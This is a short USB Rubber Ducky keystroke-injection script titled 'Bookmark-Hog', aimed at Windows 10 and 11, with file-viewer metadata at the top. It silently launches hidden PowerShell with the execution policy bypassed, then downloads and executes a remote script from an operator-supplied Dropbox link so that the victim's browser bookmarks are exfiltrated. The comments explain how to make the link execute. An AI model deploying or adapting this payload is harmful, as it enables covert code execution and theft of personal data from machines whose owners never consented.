17 lines
564 B
Plaintext
17 lines
564 B
Plaintext
REM Title: Bookmark-Hog
|
|
|
|
REM Author: atomiczsec
|
|
|
|
REM Description: This payload is meant to exfiltrate bookmarks to the rubber ducky
|
|
|
|
REM Target: Windows 10, 11
|
|
|
|
DELAY 2000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
|
|
ENTER
|
|
|
|
REM Remember to replace the link with your DropBox shared link for the intended file to download
|
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
|